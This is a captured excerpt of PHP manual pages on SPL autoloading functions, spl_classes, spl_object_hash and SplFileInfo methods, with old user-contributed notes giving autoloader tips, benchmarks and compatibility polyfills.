Anonymous 16-Mar-2010 08:30
Be careful using this function on case sensitive file systems.

<?php
spl_autoload_extensions('.php');
spl_autoload_register();
?>

I develop on OS X and everything was working fine. But when releasing to my linux server, none of my class files were loading. I had to lowercase all my filenames, because calling a class "DatabaseObject" would try including "databaseobject.php", instead of "DatabaseObject.php"

I think i'll go back to using the slower __autoload() function, just so i can keep my class files readable
rayro at gmx dot de 04-Jan-2010 03:14
It is never a good idea and a unconscienable concept to create the classes in the autoload function via eval.
It should be a nice feature with these Exception, but i think anyone is able to handle it without this method although. Atm i dont realize for what this is good for...

As i might note, class_exists() will ever define the classes u only want to check for existance, and will therefor ever return true:
<?php
function EvalIsEvil($class) {
  eval('class '.$className.'{}');
}
spl_autoload_register('EvalIsEvil');
if (class_exists($s="IsMyModuleHere")) {
  // this is no module, but get there with eval()...
  return new $s();
}
?>
a dot schaffhirt at sedna-soft dot de 27-Jul-2009 07:05
Good news for PHP 5.3 users with namespaced classes:

When you create a subfolder structure matching the namespaces of the containing classes, you will never even have to define an autoloader.

<?php
    spl_autoload_extensions(".php"); // comma-separated list
    spl_autoload_register();
?>

It is recommended to use only one extension for all classes. PHP (more exactly spl_autoload) does the rest for you and is even quicker than a semantically equal self-defined autoload function like this one:

<?php
    function my_autoload ($pClassName) {
        include(__DIR__ . "/" . $pClassName . ".php");
    }
    spl_autoload_register("my_autoload");
?>

I compared them with the following setting: There are 10 folders, each having 10 subfolders, each having 10 subfolders, each containing 10 classes.

To load and instantiate these 1000 classes (parameterless no-action constructor), the user-definded autoload function approach took 50ms longer in average than the spl_autoload function in a series of 10 command-line calls for each approach.

I made this benchmark to ensure that I don't recommend something that could be called "nice, but slow" later.

Best regards,
djames at dealerspan dot com 15-May-2009 09:39
This behaves more like a QUEUE than a STACK, since the registry is accessed in FIFO order. The autoloaders are attempted in the order they are defined.
mailinglist dot php at hydras-world dot com 26-Jun-2008 04:07
The automatic generation of classes can be further improved to cater for files that don't actually contain the class they were supposed to contain:

<?php

// code to set include_path...

class AutoloadException extends Exception { }

class AutoloadClass {

    public static function autoload($sClassName) {

        @include_once($sClassName . '.class.php');

        // does the class requested actually exist now?
        if (class_exists($sClassName)) {
            // yes, we're done
            return;
        }

        // no, create a new one!
        eval("class $sClassName {
            function __construct() {
                throw new AutoloadException('Class $sClassName not found');
            }

            static function __callstatic(\$m, \$args) {
                throw new AutoloadException('Class $sClassName not found');
            }
        }");
    }
}

spl_autoload_register(array('AutoloadClass', 'autoload'));

?>

You might be able to expand the example above to automatically generate interfaces too...

Enjoy!

DominicC
stanlemon at mac dot com 28-Sep-2007 10:20
Editorial note: The appropriate PHP bug that requests behavior this function emulates is http://bugs.php.net/bug.php?id=42823 . This function does NOT work if there has been an array($obj, 'nonStaticMethod') registered in the autoload stack--while the autoload will be removed, it will be re-registered incorrectly.

The spl_autoload_register() method registers functions in its stack in the order that spl_autoload_register() was called, and subsequently if you want an autoload function to override previous autoload functions you will either need to unregister the previous ones or change the order of the autoload stack.

For example, say in your default implementation of an autoload function you throw an exception if the class cannot be found, or perhaps a fatal error.  Later on in your code you add a second implementation of an autoload function which will load a library that the previous method would fail on.  This will not call the second autoloader method first, but rather will continue to error out on the first method.

As previously mentioned, you can unregister the existing autoloader that errors out, or you can create a mechanism for unregistering and re-registering the autoloaders in the order you want.

Here is a sample/example of how you might consider re-registering autoloaders so that the newest autoloader is called first, and the oldest last:

<?php

// Editorial notes: Small bug and compatibility fixes
// added to the function

function spl_autoload_preregister( $autoload ) {
    // No functions currently in the stack.
    if ( ($funcs = spl_autoload_functions()) === false ) {
        spl_autoload_register($autoload);
    } else {
        // Unregister existing autoloaders...
        $compat =
            version_compare(PHP_VERSION, '5.1.2', '<=') &&
            version_compare(PHP_VERSION, '5.1.0', '>=');
        foreach ($funcs as $func) {
            if (is_array($func)) {
                // :TRICKY: There are some compatibility issues and some
                // places where we need to error out
                $reflector = new ReflectionMethod($func[0], $func[1]);
                if (!$reflector->isStatic()) {
                    throw new Exception('
                        This function is not compatible
                        with non-static object methods due to PHP Bug #44144.
                    ');
                }
                // Suprisingly, spl_autoload_register supports the
                // Class::staticMethod callback format, although call_user_func doesn't
                if ($compat) $func = implode('::', $func);
            }
            spl_autoload_unregister($func);
        }

        // Register the new one, thus putting it at the front of the stack...
        spl_autoload_register($autoload);

        // Now, go back and re-register all of our old ones.
        foreach ($funcs as $func) {
            spl_autoload_register($func);
        }
    }
}

?>

Note: I have not tested this for overhead, so I am not 100% sure what the performance implication of the above example are.
harvey dot NO_SPAM dot robin at gmail dot com 10-Feb-2007 05:54
This function is smart enough not to add the same loader twice.  This seems to work for all of the different loader formats.  Example:

<?php
class ALoader
{
  static function load($class) { return true; }
}

function anotherLoader($class) {
  return true;
}

$F = new ALoader;

spl_autoload_register(array('ALoader', 'load'));
spl_autoload_register(array('ALoader', 'load'));
spl_autoload_register(array($F, 'load'));
spl_autoload_register('anotherLoader');
spl_autoload_register('anotherLoader');
var_dump(spl_autoload_functions());

/*
 * Results on PHP5.2 CLI, linux.
 * array(2) {
 *  [0]=>
 *  array(2) {
 *    [0]=>
 *    string(7) "ALoader"
 *    [1]=>
 *    string(4) "load"
 *  }
 *  [1]=>
 *  string(13) "anotherLoader"
 * }
 */
?>
florent at mediagonale dot com 14-Nov-2006 01:19
If your autoload function is a class method, you can call spl_autoload_register with an array specifying the class and the method to run.

* You can use a static method :
<?php

class MyClass {
  public static function autoload($className) {
    // ...
  }
}

spl_autoload_register(array('MyClass', 'autoload'));
?>

* Or you can use an instance :
<?php
class MyClass {
  public function autoload($className) {
    // ...
  }
}

$instance = new MyClass();
spl_autoload_register(array($instance, 'autoload'));
?>
spl_autoload_functions
spl_autoload_unregister
SPL Functions


Unregister given function as __autoload() implementation

spl_autoload_register
spl_autoload
SPL Functions
PHP Manual

spl_autoload_unregister

(PHP 5 >= 5.1.2)

spl_autoload_unregister — Unregister given function as __autoload() implementation

Description

bool spl_autoload_unregister ( mixed $autoload_function )

Unregister a function from the spl provided __autoload stack. If the stack is activated and empty after unregistering the given function then it will be deactivated.

When this function results in the autoload stack being deactivated, any __autoload function that previously existed will not be reactivated.

Parameters

autoload_function

The autoload function being unregistered.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

Julien B. 07-Jul-2009 09:31
Restore the binding to __autoload after using a spl_autoload_register() call

<?php
spl_autoload_register(array('Doctrine', 'autoload'));

// some process

spl_autoload_unregister(array('Doctrine', 'autoload'));

// but now the old __autoload is not triggered anymore
// you need to use :
spl_autoload_register('__autoload');

// but this will throw a LogicExeption if the __autoload
// function is not defined yet, so use:
function autoload__ ( $className ) {
    if ( function_exists('__autoload'))
        __autoload($className);
}

spl_autoload_register('autoload__');

?>

So you can define your old __autoload in another file for example

May helps some folks in this catch 22
spl_autoload_register
spl_autoload
SPL Functions


Default implementation for __autoload()

spl_autoload_unregister
spl_classes
SPL Functions
PHP Manual

spl_autoload

(PHP 5 >= 5.1.2)

spl_autoload — Default implementation for __autoload()

Description

void spl_autoload ( string $class_name [, string $file_extensions = spl_autoload_extensions() ] )

This function is intended to be used as a default implementation for __autoload(). If nothing else is specified and spl_autoload_register() is called without any parameters then this functions will be used for any later call to __autoload().

Parameters

class_name

The lowercased name of the class (and namespace) being instantiated.

file_extensions

By default it checks all include paths to contain filenames built up by the lowercase class name appended by the filename extensions .inc and .php.

Return Values

No value is returned.

User Contributed Notes

Luke Scott 19-Apr-2011 07:03
If you want to make the best use out of autoload with an APC cache don't use spl_autoload. It uses relative paths and thus will perform a stat even with apc.stat=0 (either that, or it doesn't work at all).

Instead make a custom function and use require/include with an absolute path (register it with spl_autoload_register).

Do NOT use *_once functions or a relative path. This will fail harder than spl_autoload.

Also avoid using file_exists and is_file. This will also perform a stat.

Why are stats bad? Because they access the file system. PHP does have a stat cache that helps, but it defeats the purpose of apc.stat = 0.

It's also good to keep in mind that it's good to keep your custom autoload function simple. This is my Loader class:

<?php

class Loader
{
    public static function registerAutoload()
    {
        return spl_autoload_register(array(__CLASS__, 'includeClass'));
    }

    public static function unregisterAutoload()
    {
        return spl_autoload_unregister(array(__CLASS__, 'includeClass'));
    }

    public static function includeClass($class)
    {
        require(PATH . '/' . strtr($class, '_\\', '//') . '.php');
    }
}

?>

Also want to point out that APC does an optimization with require/include (not *_once) with relative paths if require/include is done in the global scope (and isn't conditional). So it would be a good idea to explicitly include files you know you're going to use on every request (but don't use *_once). You could, for example, add a "registerProfiledAutoload" to the above class and keep track of what you're including to help you determine what you could explicitly include (during development, not production). The key is try not to make heavy use out of autoload.

If you must use relative paths and don't care about having to lower-case your file-names then spl_autoload works great.
daniel 05-Jul-2010 07:58
Note this function will LOWERCASE the class names its looking for, dont be confused when it cant find Foo_Bar.php

also, unlike most other autoloader code snippets, this function DOES NOT translate underscores to slashes.

class Foo_Bar {}
will load foo_bar.php and will not try to load foo/bar.php

You can get around this with
spl_autoload_register(function($class) { return spl_autoload(str_replace('_', '/', $class));});
simast at gmail dot com 07-Aug-2009 10:22
Note, that the default autoload implementation is written in C land and is always slightly faster then your native PHP one.

Here is a trick to use default implementation with any configuration:

<?php

    // Your custom class dir
    define('CLASS_DIR', 'class/')

    // Add your class dir to include path
    set_include_path(get_include_path().PATH_SEPARATOR.CLASS_DIR);

    // You can use this trick to make autoloader look for commonly used "My.class.php" type filenames
    spl_autoload_extensions('.class.php');

    // Use default autoload implementation
    spl_autoload_register();
?>

This also works with namespaces out of the box. So you can write code like "use My\Name\Object" and it will map to "class/My/Name/Object.class.php" file path!
safak_ozpinar at NOSPAM dot yahoo dot com 25-Sep-2007 07:17
Note that, the orders of file extensions is important for performance. You should make the priority of your favourite file extension higest or use only one extension for your class files. Check out this example:

Some class files:

ClassA.php
<?php class ClassA { var $val = 'Hello from class "ClassA"'; } ?>
ClassB.php
<?php class ClassB { var $val = 'Hello from class "ClassB"'; } ?>
ClassC.php
<?php class ClassC { var $val = 'Hello from class "ClassC"'; } ?>
ClassD.php
<?php class ClassD { var $val = 'Hello from class "ClassD"'; } ?>
ClassE.php
<?php class ClassE { var $val = 'Hello from class "ClassE"'; } ?>

1. Simple:
<?php
// default priority: .inc .php
for($n=65; $n<70; $n++) {
    $className = 'Class'.chr($n);
    spl_autoload($className);
    $ins = new $className;
    echo $ins->val.'<br>';
}
// 4.2 miliseconds
?>

2. Change priority:
<?php
spl_autoload_extensions('.php,.inc');
// new priority: .php .inc
for($n=65; $n<70; $n++) {
    $className = 'Class'.chr($n);
    spl_autoload($className);
    $ins = new $className;
    echo $ins->val.'<br>';
}
// 1.4 miliseconds
?>

Or you can use this simple function that runs a bit faster for the extensions with lower priority :)
<?php
function my_autoload($className, $extList='.inc,.php') {
    $ext = explode(',',$extList);
    foreach($ext as $x) {
        $fname = $className.$x;
        if(@file_exists($fname)) {
            require_once($fname);
            return true;
        }
    }
    return false;
}

for($n=65; $n<70; $n++) {
    $className = 'Class'.chr($n);
    my_autoload($className);
    $ins = new $className;
    echo $ins->val.'<br>';
}
// 2.6 miliseconds
?>
---
Safak Ozpinar - Istanbul University, Computer Engineering
spl_autoload_unregister
spl_classes
SPL Functions


Return available SPL classes

spl_autoload
spl_object_hash
SPL Functions
PHP Manual

spl_classes

(PHP 5)

spl_classes — Return available SPL classes

Description

array spl_classes ( void )

This function returns an array with the current available SPL classes.

Parameters

This function has no parameters.

Return Values

Returns an array containing the currently available SPL classes.

Examples

Example #1 spl_classes() example

<?php

print_r(spl_classes());

?>

The above example will output something similar to:

Array
(
    [ArrayObject] => ArrayObject
    [ArrayIterator] => ArrayIterator
    [CachingIterator] => CachingIterator
    [RecursiveCachingIterator] => RecursiveCachingIterator
    [DirectoryIterator] => DirectoryIterator
    [FilterIterator] => FilterIterator
    [LimitIterator] => LimitIterator
    [ParentIterator] => ParentIterator
    [RecursiveDirectoryIterator] => RecursiveDirectoryIterator
    [RecursiveIterator] => RecursiveIterator
    [RecursiveIteratorIterator] => RecursiveIteratorIterator
    [SeekableIterator] => SeekableIterator
    [SimpleXMLIterator] => SimpleXMLIterator
)

User Contributed Notes

There are no user contributed notes for this page.
spl_autoload
spl_object_hash
SPL Functions


Return hash id for given object

spl_classes
File Handling
SPL Functions
PHP Manual

spl_object_hash

(PHP 5 >= 5.2.0)

spl_object_hash — Return hash id for given object

Description

string spl_object_hash ( object $obj )

This function returns a unique identifier for the object. This id can be used as a hash key for storing objects or for identifying an object.

Parameters

object

Any object.

Return Values

A string that is unique for each currently existing object and is always the same for each object.

Examples

Example #1 A spl_object_hash() example

<?php
$id = spl_object_hash($object);
$storage[$id] = $object;
?>

Notes

Note:

When an object is destroyed, its hash may be reused for other objects.

User Contributed Notes

daan dot timmer at gmail dot com 14-Jan-2010 07:30
To add to markus dot albe at mailinator dot com comment.

The unique identifiers of destroyed objects can and will be reused.

<?php
class Foo{
    private static $test = 0;

    public function __construct(){
        self::$test++;
    }
}

$foo1 = new Foo();
$foo2 = new Foo();
$foo3 = new Foo();

//new unique identifier
echo spl_object_hash($foo1)."<br />\n";
//new unique identifier
echo spl_object_hash($foo2)."<br />\n";
//new unique identifier
echo spl_object_hash($foo3)."<br />\n";

$foo1 = new Foo();
//new unique identifier because, when we created Foo, foo1 still existed
echo spl_object_hash($foo1)."<br />\n";

$foo1 = new Foo();
//same identifier as the first $foo1 because it was destroyed,
//thus released the identifier
echo spl_object_hash($foo1)."<br />\n";
?>

This will output something like:
000000007ec3fcb5000000003f984510
000000007ec3fcb6000000003f984510
000000007ec3fcb7000000003f984510
000000007ec3fcb0000000003f984510
000000007ec3fcb5000000003f984510
markus dot albe at mailinator dot com 16-Nov-2009 11:53
It seems that when switching scopes, the last one is repeated... Not necessarily a bug, but could create some problems/unexpected behavior

<?php

$var = new stdClass();
var_dump(spl_object_hash($var), spl_object_hash(new stdClass()));

hola();

function hola() {
    $var = new stdClass();
    var_dump(spl_object_hash($var), spl_object_hash(new stdClass()));
}

/* will output something like
string(32) "f4c9a9e4c63bb94a344b09fa90b57d5c"
string(32) "7b6e43337944619e217ded14a7a78d35"
string(32) "7b6e43337944619e217ded14a7a78d35"
string(32) "ebd1bf725146297194bb011ef5e9c4d5"
*/
?>
test user 14-Oct-2009 05:15
It is possible to mark objects with unique identity to establish required functionality:
<?php
if (!function_exists('spl_object_hash')) {
    function spl_object_hash($object) {
        if (!is_object($object)) {
            trigger_error(__FUNCTION__ . "() expects parameter 1 to be object", E_USER_WARNING);
            return null;
        }

        if (!isset($object->__oid__))
            $object->__oid__ = uniqid();
        }
        return $object->__oid__;
    }
}
?>
SlappyTheFish 28-May-2009 03:12
With regards to the previous post, I'm not entirely sure that easy does do it.   Consider the following code:

<?php

    class Testy
    {
        public $something;

        public function __toString()
        {
            return serialize($this);
        }
    }

    $objOne = new Testy();
    $objOne->something = "hello";

    $objTwo = new Testy();
    $objTwo->something = "hello";

    printf("objOne:\n");
    printf("Bad way: %s\n", md5((string)$objOne));
    printf("SPL Way: %s\n", spl_object_hash($objOne));

    printf("objTwo:\n");
    printf("Bad way: %s\n", md5((string)$objTwo));
    printf("SPL Way: %s\n", spl_object_hash($objTwo));
?>

The spl_object_hash function returns a hash based on the particular object, not the content.   The spl hash will always be the same for a given object, regardless of content.
andi.rein(AT)gmx de 15-Apr-2009 04:48
Easy does it

<?php
if (!function_exists('spl_object_hash')) {
    /**
     * Returns the hash of the unique identifier for the object.
     *
     * @param object $object
     * @author Andreas Rein
     * @return string
     */
    function spl_object_hash($object) {
        if (is_object($object)) {
          return md5((string)$object);
        }
        trigger_error(__FUNCTION__ . "() expects parameter 1 to be object", E_USER_WARNING);
        return null;
    }
}
?>
Rafael M. Salvioni 04-Dec-2008 11:01
The follow function is a implementation of the PHP´s function spl_object_hash(), unavailable in versions less 5.2.0.

But, the algorithm of this function is different of the original PHP´s function.

(Sorry... my english is very bad...)

<?php

if (!function_exists('spl_object_hash')) {
    /**
     * Returns the hash of the unique identifier for the object.
     *
     * @param object $object Object
     * @author Rafael M. Salvioni
     * @return string
     */
    function spl_object_hash($object)
    {
        if (is_object($object)) {
            ob_start(); var_dump($object); $dump = ob_get_contents(); ob_end_clean();
            if (preg_match('/^object\(([a-z0-9_]+)\)\#(\d)+/i', $dump, $match)) {
                return md5($match[1] . $match[2]);
            }
        }
        trigger_error(__FUNCTION__ . "() expects parameter 1 to be object", E_USER_WARNING);
        return null;
    }
}

?>
planetbeing 05-Jul-2007 04:40
Note that the contents (properties) of the object are NOT hashed by the function, merely its internal handle and handler table pointer. This is sufficient to guarantee that any two objects simultaneously co-residing in memory will have different hashes. Uniqueness is not guaranteed between objects that did not reside in memory simultaneously, for example:

var_dump(spl_object_hash(new stdClass()), spl_object_hash(new stdClass()));

Running this alone will usually generate the same hashes, since PHP reuses the internal handle for the first stdClass after it has been dereferenced and destroyed when it creates the second stdClass.
spl_classes
File Handling
SPL Functions


File Handling

Table of Contents

  • SplFileInfo
  • SplFileObject
  • SplTempFileObject

SPL provides a number of classes to work with files.

User Contributed Notes

There are no user contributed notes for this page.
spl_object_hash
SplFileInfo
SPL


The SplFileInfo class

(PHP 5 >= 5.1.2)

Introduction

The SplFileInfo class offers a high-level object oriented interface to information for an individual file.

Class synopsis

SplFileInfo {
/* Methods */
public __construct ( string $file_name )
public int getATime ( void )
public string getBasename ([ string $suffix ] )
public int getCTime ( void )
public string getExtension ( void )
public SplFileInfo getFileInfo ([ string $class_name ] )
public string getFilename ( void )
public int getGroup ( void )
public int getInode ( void )
public string getLinkTarget ( void )
public int getMTime ( void )
public int getOwner ( void )
public string getPath ( void )
public SplFileInfo getPathInfo ([ string $class_name ] )
public string getPathname ( void )
public int getPerms ( void )
public string getRealPath ( void )
public int getSize ( void )
public string getType ( void )
public bool isDir ( void )
public bool isExecutable ( void )
public bool isFile ( void )
public bool isLink ( void )
public bool isReadable ( void )
public bool isWritable ( void )
public SplFileObject openFile ([ string $open_mode = r [, bool $use_include_path = false [, resource $context = NULL ]]] )
public void setFileClass ([ string $class_name ] )
public void setInfoClass ([ string $class_name ] )
public void __toString ( void )
}

Table of Contents

  • SplFileInfo::__construct — Construct a new SplFileInfo object
  • SplFileInfo::getATime — Gets last access time of the file
  • SplFileInfo::getBasename — Gets the base name of the file
  • SplFileInfo::getCTime — Gets the inode change time
  • SplFileInfo::getExtension — Gets the file extension
  • SplFileInfo::getFileInfo — Gets an SplFileInfo object for the file
  • SplFileInfo::getFilename — Gets the filename
  • SplFileInfo::getGroup — Gets the file group
  • SplFileInfo::getInode — Gets the inode for the file
  • SplFileInfo::getLinkTarget — Gets the target of a link
  • SplFileInfo::getMTime — Gets the last modified time
  • SplFileInfo::getOwner — Gets the owner of the file
  • SplFileInfo::getPath — Gets the path without filename
  • SplFileInfo::getPathInfo — Gets an SplFileInfo object for the path
  • SplFileInfo::getPathname — Gets the path to the file
  • SplFileInfo::getPerms — Gets file permissions
  • SplFileInfo::getRealPath — Gets absolute path to file
  • SplFileInfo::getSize — Gets file size
  • SplFileInfo::getType — Gets file type
  • SplFileInfo::isDir — Tells if the file is a directory
  • SplFileInfo::isExecutable — Tells if the file is executable
  • SplFileInfo::isFile — Tells if the object references a regular file
  • SplFileInfo::isLink — Tells if the file is a link
  • SplFileInfo::isReadable — Tells if file is readable
  • SplFileInfo::isWritable — Tells if the entry is writable
  • SplFileInfo::openFile — Gets an SplFileObject object for the file
  • SplFileInfo::setFileClass — Sets the class name used with SplFileInfo::openFile
  • SplFileInfo::setInfoClass — Sets the class used with getFileInfo and getPathInfo
  • SplFileInfo::__toString — Returns the path to the file as a string

User Contributed Notes

There are no user contributed notes for this page.
File Handling
SplFileInfo::__construct
File Handling


Construct a new SplFileInfo object

SplFileInfo
SplFileInfo::getATime
SplFileInfo
PHP Manual

SplFileInfo::__construct

(PHP 5 >= 5.1.2)

SplFileInfo::__construct — Construct a new SplFileInfo object

Description

public SplFileInfo::__construct ( string $file_name )

Creates a new SplFileInfo object for the file_name specified. The file does not need to exist, or be readable.

Parameters

file_name

Path to the file.

Examples

Example #1 SplFileInfo::__construct() example

<?php
$info = new SplFileInfo('example.php');
if ($info->isFile()) {
    echo $info->getRealPath();
}
?>

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo
SplFileInfo::getATime
SplFileInfo


Gets last access time of the file

SplFileInfo::__construct
SplFileInfo::getBasename
SplFileInfo
PHP Manual

SplFileInfo::getATime

(PHP 5 >= 5.1.2)

SplFileInfo::getATime — Gets last access time of the file

Description

public int SplFileInfo::getATime ( void )

Gets the last access time for the file.

Parameters

This function has no parameters.

Return Values

Returns the time the file was last accessed.

Errors/Exceptions

Throws RunTimeException on error.

See Also

  • fileatime() - Gets last access time of file

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::__construct
SplFileInfo::getBasename
SplFileInfo


Gets the base name of the file

SplFileInfo::getATime
SplFileInfo::getCTime
SplFileInfo
PHP Manual

SplFileInfo::getBasename

(PHP 5 >= 5.2.2)

SplFileInfo::getBasename — Gets the base name of the file

Description

public string SplFileInfo::getBasename ([ string $suffix ] )

This method returns the base name of the file, directory, or link without path info.

Parameters

suffix

Optional suffix to omit from the base name returned.

Return Values

Returns the base name without path information.

Examples

Example #1 SplFileInfo::getBasename() example

<?php
$info = new SplFileInfo('file.txt');
var_dump($info->getBasename());

$info = new SplFileInfo('/path/to/file.txt');
var_dump($info->getBasename());

$info = new SplFileInfo('/path/to/file.txt');
var_dump($info->getBasename('.txt'));
?>

The above example will output something similar to:

string(8) "file.txt"
string(8) "file.txt"
string(4) "file"

See Also

  • SplFileInfo::getFilename() - Gets the filename

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::getATime
SplFileInfo::getCTime
SplFileInfo


Gets the inode change time

SplFileInfo::getBasename
SplFileInfo::getExtension
SplFileInfo
PHP Manual

SplFileInfo::getCTime

(PHP 5 >= 5.1.2)

SplFileInfo::getCTime — Gets the inode change time

Description

public int SplFileInfo::getCTime ( void )

Returns the inode change time for the file. The time returned is a Unix timestamp.

Parameters

This function has no parameters.

Return Values

The last change time, in a Unix timestamp.

Errors/Exceptions

Throws RunTimeException on error.

Examples

Example #1 SplFileInfo::getCTime() example

<?php
$info = new SplFileInfo(__FILE__);
echo 'Last changed at ' . date('g:i a', $info->getCTime());
?>

The above example will output something similar to:

Last changed at 1:49 pm

See Also

  • filectime() - Gets inode change time of file

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::getBasename
SplFileInfo::getExtension
SplFileInfo


Gets the file extension

SplFileInfo::getCTime
SplFileInfo::getFileInfo
SplFileInfo
PHP Manual

SplFileInfo::getExtension

(PHP 5 >= 5.3.6)

SplFileInfo::getExtension — Gets the file extension

Description

public string SplFileInfo::getExtension ( void )

Retrieves the file extension.

Parameters

This function has no parameters.

Return Values

Returns a string containing the file extension, or an empty string if the file has no extension.

Examples

Example #1 SplFileInfo::getExtension() example

<?php

$info = new SplFileInfo('foo.txt');
var_dump($info->getExtension());

$info = new SplFileInfo('photo.jpg');
var_dump($info->getExtension());

$info = new SplFileInfo('something.tar.gz');
var_dump($info->getExtension());

?>

The above example will output:

string(3) "txt"
string(3) "jpg"
string(2) "gz"

Notes

Note:

This method is only available as of PHP 5.3.6. Another way of getting the extension is to use the pathinfo() function.

<?php
$extension = pathinfo($info->getFilename(), PATHINFO_EXTENSION);
?>

See Also

  • SplFileInfo::getFilename() - Gets the filename
  • SplFileInfo::getBasename() - Gets the base name of the file
  • pathinfo() - Returns information about a file path

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::getCTime
SplFileInfo::getFileInfo
SplFileInfo


Gets an SplFileInfo object for the file

SplFileInfo::getExtension
SplFileInfo::getFilename
SplFileInfo
PHP Manual

SplFileInfo::getFileInfo

(PHP 5 >= 5.1.2)

SplFileInfo::getFileInfo — Gets an SplFileInfo object for the file

Description

public SplFileInfo SplFileInfo::getFileInfo ([ string $class_name ] )

This method gets an SplFileInfo object for the referenced file.

Parameters

class_name

Name of an SplFileInfo derived class to use.

Return Values

An SplFileInfo object created for the file.

See Also

  • SplFileInfo::setInfoClass() - Sets the class used with getFileInfo and getPathInfo

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::getExtension
SplFileInfo::getFilename
SplFileInfo


Gets the filename

SplFileInfo::getFileInfo
SplFileInfo::getGroup
SplFileInfo
PHP Manual

SplFileInfo::getFilename

(PHP 5 >= 5.1.2)

SplFileInfo::getFilename — Gets the filename

Description

public string SplFileInfo::getFilename ( void )

Gets the filename without any path information.

Parameters

This function has no parameters.

Return Values

The filename.

Examples

Example #1 SplFileInfo::getFilename() example

<?php
$info = new SplFileInfo('foo.txt');
var_dump($info->getFilename());

$info = new SplFileInfo('/path/to/foo.txt');
var_dump($info->getFilename());

$info = new SplFileInfo('http://www.php.net/');
var_dump($info->getFilename());

$info = new SplFileInfo('http://www.php.net/svn.php');
var_dump($info->getFilename());
?>

The above example will output something similar to:

string(7) "foo.txt"
string(7) "foo.txt"
string(0) ""
string(7) "svn.php"

See Also

  • SplFileInfo::getBasename() - Gets the base name of the file

User Contributed Notes

wloske at yahoo dot de 19-Oct-2009 09:12
It should be mentioned that the function returns the name of the directory if "filename" is of type "directory". Hence

<?php
$info = new SplFileInfo('/path/to/');
var_dump($info->getFilename());
?>

should return "to"

The function name is kind of misleading here and I am glad to have it tried.
SplFileInfo::getFileInfo
SplFileInfo::getGroup
SplFileInfo


Gets the file group

SplFileInfo::getFilename
SplFileInfo::getInode
SplFileInfo
PHP Manual

SplFileInfo::getGroup

(PHP 5 >= 5.1.2)

SplFileInfo::getGroup — Gets the file group

Description

public int SplFileInfo::getGroup ( void )

Gets the file group. The group ID is returned in numerical format.

Parameters

This function has no parameters.

Return Values

The group id in numerical format.

Errors/Exceptions

Throws RuntimeException on error.

Examples

Example #1 SplFileInfo::getGroup() example

<?php
$info = new SplFileInfo(__FILE__);
print_r(posix_getgrgid($info->getGroup()));
?>

The above example will output something similar to:

See Also

  • posix_getgrgid() - Return info about a group by group id

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::getFilename
SplFileInfo::getInode
SplFileInfo


Gets the inode for the file

SplFileInfo::getGroup
SplFileInfo::getLinkTarget
SplFileInfo
PHP Manual

SplFileInfo::getInode

(PHP 5 >= 5.1.2)

SplFileInfo::getInode — Gets the inode for the file

Description

public int SplFileInfo::getInode ( void )

Gets the inode number for the filesystem object.

Parameters

This function has no parameters.

Return Values

Returns the inode number for the filesystem object.

Errors/Exceptions

Throws RuntimeException on error.

See Also

  • fileinode() - Gets file inode

User Contributed Notes

sander at webpirates dot nl 12-Jun-2009 02:03
Question raised on DPC2009: What does getInode() return on windows? Answer: int 0.
SplFileInfo::getGroup
SplFileInfo::getLinkTarget
SplFileInfo


Gets the target of a link

SplFileInfo::getInode
SplFileInfo::getMTime
SplFileInfo
PHP Manual

SplFileInfo::getLinkTarget

(PHP 5 >= 5.2.2)

SplFileInfo::getLinkTarget — Gets the target of a link

Description

public string SplFileInfo::getLinkTarget ( void )

Gets the target of a filesystem link.

Note:

The target may not be the real path on the filesystem. Use SplFileInfo::getRealPath() to determine the true path on the filesystem.

Parameters

This function has no parameters.

Return Values

Returns the target of the filesystem link.

Errors/Exceptions

Throws RuntimeException on error.

Examples

Example #1 SplFileInfo::getLinkTarget() example

<?php
$info = new SplFileInfo('/Users/bbieber/workspace');
if ($info->isLink()) {
    var_dump($info->getLinkTarget());
    var_dump($info->getRealPath());
}
?>

The above example will output something similar to:

string(19) "Documents/workspace"
string(34) "/Users/bbieber/Documents/workspace"

See Also

  • SplFileInfo::isLink() - Tells if the file is a link
  • SplFileInfo::getRealPath() - Gets absolute path to file

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::getInode
SplFileInfo::getMTime
SplFileInfo


Gets the last modified time

SplFileInfo::getLinkTarget
SplFileInfo::getOwner
SplFileInfo
PHP Manual

SplFileInfo::getMTime

(PHP 5 >= 5.1.2)

SplFileInfo::getMTime — Gets the last modified time

Description

public int SplFileInfo::getMTime ( void )

Returns the time when the contents of the file were changed. The time returned is a Unix timestamp.

Parameters

This function has no parameters.

Return Values

Returns the last modified time for the file, in a Unix timestamp.

See Also

  • filemtime() - Gets file modification time

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::getLinkTarget
SplFileInfo::getOwner
SplFileInfo


Gets the owner of the file

SplFileInfo::getMTime
SplFileInfo::getPath
SplFileInfo
PHP Manual

SplFileInfo::getOwner

(PHP 5 >= 5.1.2)

SplFileInfo::getOwner — Gets the owner of the file

Description

public int SplFileInfo::getOwner ( void )

Gets the file owner. The owner ID is returned in numerical format.

Parameters

This function has no parameters.

Return Values

The owner id in numerical format.

Errors/Exceptions

Throws RuntimeException on error.

Examples

Example #1 SplFileInfo::getOwner() example

<?php
$info = new SplFileInfo('file.txt');
print_r(posix_getpwuid($info->getOwner()));
?>

See Also

  • posix_getpwuid() - Return info about a user by user id
  • SplFileInfo::getGroup() - Gets the file group

User Contributed Notes

There are no user contributed notes for this page.
SplFileInfo::getMTime
SplFileInfo::getPath
SplFileInfo


Gets the path without filename

SplFileInfo::getOwner
SplFileInfo::getPathInfo
SplFileInfo
PHP Manual

SplFileInfo::getPath

(PHP 5 >= 5.1.2)

SplFileInfo::getPath — Gets the path without filename

Description

public string SplFileInfo::getPath ( void )

Returns the path to the file, omitting the filename and any trailing slash.

Parameters

This function has no parameters.

Return Values

Returns the path to the file.

Examples

Example #1 SplFileInfo::getPath() example

<?php
$info = new SplFileInfo('/usr/bin/php');
var_dump($info->getPath());

$info = new SplFileInfo('/usr/');
var_dump($info->getPath());?>

The above example will output something similar to:

string(8) "/usr/bin"
string(4) "/usr"

See Also

  • SplFileInfo::getRealPath() - Gets absolute path to file
